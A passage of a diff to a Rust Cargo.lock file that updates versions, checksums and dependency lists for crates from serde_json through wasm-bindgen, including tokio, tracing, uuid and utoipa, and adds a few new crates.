-checksum = "cff085d2cb684faa248efb494c39b68e522822ac0de72ccf08109abde717cfb2"
+checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6"
 dependencies = [
  "serde_derive",
 ]
 
 [[package]]
 name = "serde_derive"
-version = "1.0.208"
+version = "1.0.219"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "24008e81ff7613ed8e5ba0cfaf24e2c2f1e5b8a0495711e44fcd4882fca62bcf"
+checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00"
 dependencies = [
  "proc-macro2",
  "quote",
- "syn 2.0.75",
+ "syn 2.0.104",
 ]
 
 [[package]]
 name = "serde_json"
-version = "1.0.96"
+version = "1.0.140"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "057d394a50403bcac12672b2b18fb387ab6d289d957dab67dd201875391e52f1"
+checksum = "20068b6e96dc6c9bd23e01df8827e6c7e1f2fddd43c21810382803c136b99373"
 dependencies = [
  "itoa",
+ "memchr",
  "ryu",
  "serde",
 ]
 
 [[package]]
 name = "serde_path_to_error"
-version = "0.1.11"
+version = "0.1.17"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f7f05c1d5476066defcdfacce1f52fc3cae3af1d3089727100c02ae92e5abbe0"
+checksum = "59fab13f937fa393d08645bf3a84bdfe86e296747b506ada67bb15f10f218b2a"
 dependencies = [
+ "itoa",
  "serde",
 ]
 
@@ -2803,9 +3008,9 @@ dependencies = [
 
 [[package]]
 name = "sha1"
-version = "0.10.5"
+version = "0.10.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f04293dc80c3993519f2d7f6f511707ee7094fe0c6d3406feb330cdb3540eba3"
+checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba"
 dependencies = [
  "cfg-if",
  "cpufeatures",
@@ -2814,9 +3019,9 @@ dependencies = [
 
 [[package]]
 name = "sha2"
-version = "0.10.6"
+version = "0.10.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "82e6b795fe2e3b1e845bafcb27aa35405c4d47cdfc92af5fc8d3002f76cebdc0"
+checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283"
 dependencies = [
  "cfg-if",
  "cpufeatures",
@@ -2825,9 +3030,9 @@ dependencies = [
 
 [[package]]
 name = "sharded-slab"
-version = "0.1.4"
+version = "0.1.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "900fba806f70c630b0a382d0d825e17a0f19fcd059a2ade1ff237bcddf446b31"
+checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6"
 dependencies = [
  "lazy_static",
 ]
@@ -2842,19 +3047,25 @@ dependencies = [
 ]
 
 [[package]]
-name = "signal-hook-registry"
-version = "1.4.1"
+name = "shlex"
+version = "1.3.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1"
+checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
+
+[[package]]
+name = "signal-hook-registry"
+version = "1.4.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9203b8055f63a2a00e2f593bb0510367fe707d7ff1e5c872de2f537b339e5410"
 dependencies = [
  "libc",
 ]
 
 [[package]]
 name = "simdutf8"
-version = "0.1.4"
+version = "0.1.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f27f6278552951f1f2b8cf9da965d10969b2efdea95a6ec47987ab46edfe263a"
+checksum = "e3a9fe34e3e7a50316060351f37187a3f546bce95496156754b601a5fa71b76e"
 
 [[package]]
 name = "simple_asn1"
@@ -2869,27 +3080,24 @@ dependencies = [
 
 [[package]]
 name = "slab"
-version = "0.4.8"
+version = "0.4.10"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6528351c9bc8ab22353f9d776db39a20288e8d6c37ef8cfe3317cf875eecfc2d"
-dependencies = [
- "autocfg",
-]
+checksum = "04dc19736151f35336d325007ac991178d504a119863a2fcb3758cdb5e52c50d"
 
 [[package]]
 name = "smallvec"
-version = "1.10.0"
+version = "1.15.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a507befe795404456341dfab10cef66ead4c041f62b8b11bbb92bffe5d0953e0"
+checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03"
 
 [[package]]
 name = "socket2"
-version = "0.4.9"
+version = "0.5.10"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "64a4a911eed85daf18834cfaa86a79b7d266ff93ff5ba14005426219480ed662"
+checksum = "e22376abed350d73dd1cd119b57ffccad95b4e585a7cda43e286245ce23c0678"
 dependencies = [
  "libc",
- "winapi",
+ "windows-sys 0.52.0",
 ]
 
 [[package]]
@@ -2933,11 +3141,10 @@ dependencies = [
 
 [[package]]
 name = "sqlformat"
-version = "0.2.1"
+version = "0.2.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0c12bc9199d1db8234678b7051747c07f517cdcf019262d1847b94ec8b1aee3e"
+checksum = "7bba3a93db0cc4f7bdece8bb09e77e2e785c20bfebf79eb8340ed80708048790"
 dependencies = [
- "itertools 0.10.5",
  "nom",
  "unicode_categories",
 ]
@@ -2958,11 +3165,11 @@ version = "0.6.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "fa8241483a83a3f33aa5fff7e7d9def398ff9990b2752b6c6112b83c6d246029"
 dependencies = [
- "ahash 0.7.6",
+ "ahash 0.7.8",
  "atoi",
  "base64 0.13.1",
  "bigdecimal",
- "bitflags",
+ "bitflags 1.3.2",
  "byteorder",
  "bytes",
  "chrono",
@@ -2971,7 +3178,7 @@ dependencies = [
  "dirs",
  "dotenvy",
  "either",
- "event-listener",
+ "event-listener 2.5.3",
  "flume",
  "futures-channel",
  "futures-core",
@@ -2983,14 +3190,14 @@ dependencies = [
  "hex",
  "hkdf",
  "hmac",
- "indexmap",
+ "indexmap 1.9.3",
  "itoa",
  "libc",
  "libsqlite3-sys",
  "log",
  "md-5",
  "memchr",
- "num-bigint 0.4.3",
+ "num-bigint 0.4.6",
  "once_cell",
  "paste",
  "percent-encoding",
@@ -3006,7 +3213,7 @@ dependencies = [
  "sqlx-rt",
  "stringprep",
  "thiserror",
- "time 0.3.36",
+ "time",
  "tokio-stream",
  "url",
  "uuid",
@@ -3045,13 +3252,20 @@ dependencies = [
 ]
 
 [[package]]
-name = "stringprep"
-version = "0.1.2"
+name = "stable_deref_trait"
+version = "1.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8ee348cb74b87454fff4b551cbf727025810a004f88aeacae7f85b87f4e9a1c1"
+checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
+
+[[package]]
+name = "stringprep"
+version = "0.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7b4df3d392d81bd458a8a621b8bffbd2302a12ffe288a9d931670948749463b1"
 dependencies = [
  "unicode-bidi",
  "unicode-normalization",
+ "unicode-properties",
 ]
 
 [[package]]
@@ -3062,9 +3276,9 @@ checksum = "6446ced80d6c486436db5c078dde11a9f73d42b57fb273121e160b84f63d894c"
 
 [[package]]
 name = "subtle"
-version = "2.4.1"
+version = "2.6.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601"
+checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292"
 
 [[package]]
 name = "syn"
@@ -3079,9 +3293,9 @@ dependencies = [
 
 [[package]]
 name = "syn"
-version = "2.0.75"
+version = "2.0.104"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f6af063034fc1935ede7be0122941bafa9bacb949334d090b77ca98b5817c7d9"
+checksum = "17b6f705963418cdb9927482fa304bc562ece2fdd4f616084c50b7023b435a40"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -3095,79 +3309,75 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160"
 
 [[package]]
-name = "tempfile"
-version = "3.5.0"
+name = "synstructure"
+version = "0.13.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b9fbec84f381d5795b08656e4912bec604d162bff9291d6189a78f4c8ab87998"
+checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2"
 dependencies = [
- "cfg-if",
- "fastrand",
- "redox_syscall 0.3.5",
- "rustix",
- "windows-sys 0.45.0",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
 ]
 
 [[package]]
-name = "termcolor"
-version = "1.2.0"
+name = "tap"
+version = "1.0.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "be55cf8942feac5c765c2c993422806843c9a9a45d4d5c407ad6dd2ea95eb9b6"
+checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369"
+
+[[package]]
+name = "tempfile"
+version = "3.20.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e8a64e3985349f2441a1a9ef0b853f869006c3855f2cda6862a94d26ebb9d6a1"
 dependencies = [
- "winapi-util",
+ "fastrand",
+ "getrandom 0.3.3",
+ "once_cell",
+ "rustix 1.0.7",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
 name = "textwrap"
-version = "0.16.0"
+version = "0.16.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "222a222a5bfe1bba4a77b45ec488a741b3cb8872e5e499451fd7d0129c9c7c3d"
+checksum = "c13547615a44dc9c452a8a534638acdf07120d4b6847c8178705da06306a3057"
 
 [[package]]
 name = "thiserror"
-version = "1.0.40"
+version = "1.0.69"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "978c9a314bd8dc99be594bc3c175faaa9794be04a5a5e153caba6915336cebac"
+checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52"
 dependencies = [
  "thiserror-impl",
 ]
 
 [[package]]
 name = "thiserror-impl"
-version = "1.0.40"
+version = "1.0.69"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f9456a42c5b0d803c8cd86e73dd7cc9edd429499f37a3550d286d5e86720569f"
+checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1"
 dependencies = [
  "proc-macro2",
  "quote",
- "syn 2.0.75",
+ "syn 2.0.104",
 ]
 
 [[package]]
 name = "thread_local"
-version = "1.1.7"
+version = "1.1.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3fdd6f064ccff2d6567adcb3873ca630700f00b5ad3f060c25b5dcfd9a4ce152"
+checksum = "f60246a4944f24f6e018aa17cdeffb7818b76356965d03b07d6a9886e8962185"
 dependencies = [
  "cfg-if",
- "once_cell",
 ]
 
 [[package]]
 name = "time"
-version = "0.1.45"
+version = "0.3.41"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1b797afad3f312d1c66a56d11d0316f916356d11bd158fbc6ca6389ff6bf805a"
-dependencies = [
- "libc",
- "wasi 0.10.0+wasi-snapshot-preview1",
- "winapi",
-]
-
-[[package]]
-name = "time"
-version = "0.3.36"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5dfd88e563464686c916c7e46e623e520ddc6d79fa6641390f2e3fa86e83e885"
+checksum = "8a7619e19bc266e0f9c5e6686659d394bc57973859340060a69221e57dbc0c40"
 dependencies = [
  "deranged",
  "itoa",
@@ -3180,25 +3390,35 @@ dependencies = [
 
 [[package]]
 name = "time-core"
-version = "0.1.2"
+version = "0.1.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3"
+checksum = "c9e9a38711f559d9e3ce1cdb06dd7c5b8ea546bc90052da6d06bb76da74bb07c"
 
 [[package]]
 name = "time-macros"
-version = "0.2.18"
+version = "0.2.22"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f252a68540fde3a3877aeea552b832b40ab9a69e318efd078774a01ddee1ccf"
+checksum = "3526739392ec93fd8b359c8e98514cb3e8e021beb4e5f597b00a0221f8ed8a49"
 dependencies = [
  "num-conv",
  "time-core",
 ]
 
 [[package]]
-name = "tinyvec"
-version = "1.6.0"
+name = "tinystr"
+version = "0.8.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50"
+checksum = "5d4f6d1145dcb577acf783d4e601bc1d76a13337bb54e6233add580b07344c8b"
+dependencies = [
+ "displaydoc",
+ "zerovec",
+]
+
+[[package]]
+name = "tinyvec"
+version = "1.9.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "09b3661f17e86524eccd4371ab0429194e0d7c008abb45f7a7495b1719463c71"
 dependencies = [
  "tinyvec_macros",
 ]
@@ -3211,32 +3431,33 @@ checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20"
 
 [[package]]
 name = "tokio"
-version = "1.28.1"
+version = "1.46.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0aa32867d44e6f2ce3385e89dceb990188b8bb0fb25b0cf576647a6f98ac5105"
+checksum = "0cc3a2344dafbe23a245241fe8b09735b521110d30fcefbbd5feb1797ca35d17"
 dependencies = [
- "autocfg",
+ "backtrace",
  "bytes",
+ "io-uring",
  "libc",
  "mio",
- "num_cpus",
- "parking_lot 0.12.1",
+ "parking_lot 0.12.4",
  "pin-project-lite",
  "signal-hook-registry",
+ "slab",
  "socket2",
  "tokio-macros",
- "windows-sys 0.48.0",
+ "windows-sys 0.52.0",
 ]
 
 [[package]]
 name = "tokio-macros"
-version = "2.1.0"
+version = "2.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e"
+checksum = "6e06d43f1345a3bcd39f6a56dbb7dcab2ba47e68e8ac134855e7e2bdbaf8cab8"
 dependencies = [
  "proc-macro2",
  "quote",
- "syn 2.0.75",
+ "syn 2.0.104",
 ]
 
 [[package]]
@@ -3262,9 +3483,9 @@ dependencies = [
 
 [[package]]
 name = "tokio-stream"
-version = "0.1.14"
+version = "0.1.17"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "397c988d37662c7dda6d2208364a706264bf3d6138b11d436cbac0ad38832842"
+checksum = "eca58d7bba4a75707817a2c44174253f9236b2d5fbd055602e9d5c07c139a047"
 dependencies = [
  "futures-core",
  "pin-project-lite",
@@ -3287,25 +3508,32 @@ dependencies = [
 
 [[package]]
 name = "tokio-util"
-version = "0.7.8"
+version = "0.7.15"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "806fe8c2c87eccc8b3267cbae29ed3ab2d0bd37fca70ab622e46aaa9375ddb7d"
+checksum = "66a539a9ad6d5d281510d5bd368c973d636c02dbf8a67300bfb6b950696ad7df"
 dependencies = [
  "bytes",
  "futures-core",
  "futures-sink",
  "pin-project-lite",
  "tokio",
- "tracing",
 ]
 
 [[package]]
-name = "toml"
-version = "0.5.11"
+name = "toml_datetime"
+version = "0.6.11"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234"
+checksum = "22cddaf88f4fbc13c51aebbf5f8eceb5c7c5a9da2ac40a13519eb5b0a0e8f11c"
+
+[[package]]
+name = "toml_edit"
+version = "0.22.27"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "41fe8c660ae4257887cf66394862d21dbca4a6ddd26f04a3560410406a2f819a"
 dependencies = [
- "serde",
+ "indexmap 2.10.0",
+ "toml_datetime",
+ "winnow",
 ]
 
 [[package]]
@@ -3358,13 +3586,13 @@ checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c"
 dependencies = [
  "futures-core",
  "futures-util",
- "indexmap",
+ "indexmap 1.9.3",
  "pin-project",
  "pin-project-lite",
  "rand",
  "slab",
  "tokio",
- "tokio-util 0.7.8",
+ "tokio-util 0.7.15",
  "tower-layer",
  "tower-service",
  "tracing",
@@ -3372,11 +3600,11 @@ dependencies = [
 
 [[package]]
 name = "tower-http"
-version = "0.4.0"
+version = "0.4.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5d1d42a9b3f3ec46ba828e8d376aec14592ea199f70a06a548587ecd1c4ab658"
+checksum = "61c5bb1d698276a2443e5ecfabc1008bf15a36c12e6a7176e7bf089ea9131140"
 dependencies = [
- "bitflags",
+ "bitflags 2.9.1",
  "bytes",
  "futures-core",
  "futures-util",
@@ -3391,15 +3619,15 @@ dependencies = [
 
 [[package]]
 name = "tower-layer"
-version = "0.3.2"
+version = "0.3.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c20c8dbed6283a09604c3e69b4b7eeb54e298b8a600d4d5ecb5ad39de609f1d0"
+checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e"
 
 [[package]]
 name = "tower-service"
-version = "0.3.2"
+version = "0.3.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52"
+checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3"
 
 [[package]]
 name = "tower_governor"
@@ -3423,11 +3651,10 @@ dependencies = [
 
 [[package]]
 name = "tracing"
-version = "0.1.37"
+version = "0.1.41"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8ce8c33a8d48bd45d624a6e523445fd21ec13d3653cd51f681abf67418f54eb8"
+checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0"
 dependencies = [
- "cfg-if",
  "log",
  "pin-project-lite",
  "tracing-attributes",
@@ -3436,20 +3663,20 @@ dependencies = [
 
 [[package]]
 name = "tracing-attributes"
-version = "0.1.24"
+version = "0.1.30"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0f57e3ca2a01450b1a921183a9c9cbfda207fd822cef4ccb00a65402cbba7a74"
+checksum = "81383ab64e72a7a8b8e13130c49e3dab29def6d0c7d76a03087b3cf71c5c6903"
 dependencies = [
  "proc-macro2",
  "quote",
- "syn 2.0.75",
+ "syn 2.0.104",
 ]
 
 [[package]]
 name = "tracing-core"
-version = "0.1.30"
+version = "0.1.34"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "24eb03ba0eab1fd845050058ce5e616558e8f8d8fca633e6b163fe25c797213a"
+checksum = "b9d12581f227e93f094d3af2ae690a574abb8a2b9b7a96e7cfe9647b2b617678"
 dependencies = [
  "once_cell",
  "valuable",
@@ -3467,20 +3694,20 @@ dependencies = [
 
 [[package]]
 name = "tracing-log"
-version = "0.1.3"
+version = "0.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "78ddad33d2d10b1ed7eb9d1f518a5674713876e97e5bb9b7345a7984fbb4f922"
+checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3"
 dependencies = [
- "lazy_static",
  "log",
+ "once_cell",
  "tracing-core",
 ]
 
 [[package]]
 name = "tracing-subscriber"
-version = "0.3.17"
+version = "0.3.19"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "30a651bc37f915e81f087d86e62a18eec5f79550c7faff886f7090b4ea757c77"
+checksum = "e8189decb5ac0fa7bc8b96b7cb9b2701d60d48805aca84a238004d665fcc4008"
 dependencies = [
  "matchers",
  "nu-ansi-term",
@@ -3496,57 +3723,54 @@ dependencies = [
 
 [[package]]
 name = "try-lock"
-version = "0.2.4"
+version = "0.2.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3528ecfd12c466c6f163363caf2d02a71161dd5e1cc6ae7b34207ea2d42d81ed"
+checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"
 
 [[package]]
 name = "typenum"
-version = "1.16.0"
+version = "1.18.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba"
+checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f"
 
 [[package]]
 name = "unicase"
-version = "2.6.0"
+version = "2.8.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "50f37be617794602aabbeee0be4f259dc1778fabe05e2d67ee8f79326d5cb4f6"
-dependencies = [
- "version_check",
-]
+checksum = "75b844d17643ee918803943289730bec8aac480150456169e647ed0b576ba539"
 
 [[package]]
 name = "unicode-bidi"
-version = "0.3.13"
+version = "0.3.18"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460"
+checksum = "5c1cb5db39152898a79168971543b1cb5020dff7fe43c8dc468b0885f5e29df5"
 
 [[package]]
 name = "unicode-ident"
-version = "1.0.8"
+version = "1.0.18"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e5464a87b239f13a63a501f2701565754bae92d243d4bb7eb12f6d57d2269bf4"
+checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512"
 
 [[package]]
 name = "unicode-normalization"
-version = "0.1.22"
+version = "0.1.24"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921"
+checksum = "5033c97c4262335cded6d6fc3e5c18ab755e1a3dc96376350f3d8e9f009ad956"
 dependencies = [
  "tinyvec",
 ]
 
 [[package]]
-name = "unicode-segmentation"
-version = "1.10.1"
+name = "unicode-properties"
+version = "0.1.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36"
+checksum = "e70f2a8b45122e719eb623c01822704c4e0907e7e426a05927e1a1cfff5b75d0"
 
 [[package]]
-name = "unicode-width"
-version = "0.1.10"
+name = "unicode-segmentation"
+version = "1.12.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b"
+checksum = "f6ccf251212114b54433ec949fd6a7841275f9ada20dddd2f29e9ceea4501493"
 
 [[package]]
 name = "unicode_categories"
@@ -3562,9 +3786,9 @@ checksum = "a156c684c91ea7d62626509bce3cb4e1d9ed5c4d978f7b4352658f96a4c26b4a"
 
 [[package]]
 name = "url"
-version = "2.3.1"
+version = "2.5.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0d68c799ae75762b8c3fe375feb6600ef5602c883c5d21eb51c09f22b83c4643"
+checksum = "32f8b686cadd1473f4bd0117a5d28d36b1ade384ea9b5069a1c40aefed7fda60"
 dependencies = [
  "form_urlencoded",
  "idna",
@@ -3572,12 +3796,18 @@ dependencies = [
 ]
 
 [[package]]
-name = "utoipa"
-version = "3.3.0"
+name = "utf8_iter"
+version = "1.0.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "68ae74ef183fae36d650f063ae7bde1cacbe1cd7e72b617cbe1e985551878b98"
+checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be"
+
+[[package]]
+name = "utoipa"
+version = "3.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d82b1bc5417102a73e8464c686eef947bdfb99fcdfc0a4f228e81afa9526470a"
 dependencies = [
- "indexmap",
+ "indexmap 2.10.0",
  "serde",
  "serde_json",
  "utoipa-gen",
@@ -3585,21 +3815,22 @@ dependencies = [
 
 [[package]]
 name = "utoipa-gen"
-version = "3.3.0"
+version = "3.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7ea8ac818da7e746a63285594cce8a96f5e00ee31994e655bd827569cb8b137b"
+checksum = "05d96dcd6fc96f3df9b3280ef480770af1b7c5d14bc55192baa9b067976d920c"
 dependencies = [
  "proc-macro-error",
  "proc-macro2",
  "quote",
- "syn 2.0.75",
+ "regex",
+ "syn 2.0.104",
 ]
 
 [[package]]
 name = "utoipa-swagger-ui"
-version = "3.1.3"
+version = "3.1.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "062bba5a3568e126ac72049a63254f4cb1da2eb713db0c1ab2a4c76be191db8c"
+checksum = "84614caa239fb25b2bb373a52859ffd94605ceb256eeb1d63436325cf81e3653"
 dependencies = [
  "axum",
  "mime_guess",
@@ -3613,28 +3844,26 @@ dependencies = [
 
 [[package]]
 name = "uuid"
-version = "1.3.2"
+version = "1.17.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4dad5567ad0cf5b760e5665964bec1b47dfd077ba8a2544b513f3556d3d239a2"
+checksum = "3cf4199d1e5d15ddd86a694e4d0dffa9c323ce759fea589f00fef9d81cc1931d"
 dependencies = [
+ "js-sys",
  "serde",
+ "wasm-bindgen",
 ]
 
 [[package]]
 name = "valuable"
-version = "0.1.0"
+version = "0.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d"
+checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65"
 
 [[package]]
 name = "value-bag"
-version = "1.0.0-alpha.9"
+version = "1.11.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2209b78d1249f7e6f3293657c9779fe31ced465df091bbd433a1cf88e916ec55"
-dependencies = [
- "ctor",
- "version_check",
-]
+checksum = "943ce29a8a743eb10d6082545d861b24f9d1b160b7d741e0f2cdf726bec909c5"
 
 [[package]]
 name = "vcpkg"
@@ -3644,21 +3873,15 @@ checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
 
 [[package]]
 name = "version_check"
-version = "0.9.4"
+version = "0.9.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
-
-[[package]]
-name = "waker-fn"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9d5b2c62b4012a3e1eca5a7e077d13b3bf498c4073e33ccd58626607748ceeca"
+checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
 
 [[package]]
 name = "walkdir"
-version = "2.3.3"
+version = "2.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "36df944cda56c7d8d8b7496af378e6b16de9284591917d307c9b4d313c44e698"
+checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b"
 dependencies = [
  "same-file",
  "winapi-util",
@@ -3666,68 +3889,84 @@ dependencies = [
 
 [[package]]
 name = "want"
-version = "0.3.0"
+version = "0.3.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0"
+checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e"
 dependencies = [
- "log",
  "try-lock",
 ]
 
 [[package]]
 name = "wasi"
-version = "0.10.0+wasi-snapshot-preview1"
+version = "0.10.2+wasi-snapshot-preview1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f"
+checksum = "fd6fbd9a79829dd1ad0cc20627bf1ed606756a7f77edff7b66b7064f9cb327c6"
 
 [[package]]
 name = "wasi"
-version = "0.11.0+wasi-snapshot-preview1"
+version = "0.11.1+wasi-snapshot-preview1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
+checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
+
+[[package]]
+name = "wasi"
+version = "0.14.2+wasi-0.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3"
+dependencies = [
+ "wit-bindgen-rt",
+]
+
+[[package]]
+name = "wasite"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b8dad83b4f25e74f184f64c43b150b91efe7647395b42289f38e50566d82855b"
 
 [[package]]
 name = "wasm-bindgen"
-version = "0.2.84"
+version = "0.2.100"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "31f8dcbc21f30d9b8f2ea926ecb58f6b91192c17e9d33594b3df58b2007ca53b"
+checksum = "1edc8929d7499fc4e8f0be2262a241556cfc54a0bea223790e71446f2aab1ef5"
 dependencies = [
  "cfg-if",
+ "once_cell",
+ "rustversion",
  "wasm-bindgen-macro",
 ]
 
 [[package]]
 name = "wasm-bindgen-backend"
-version = "0.2.84"
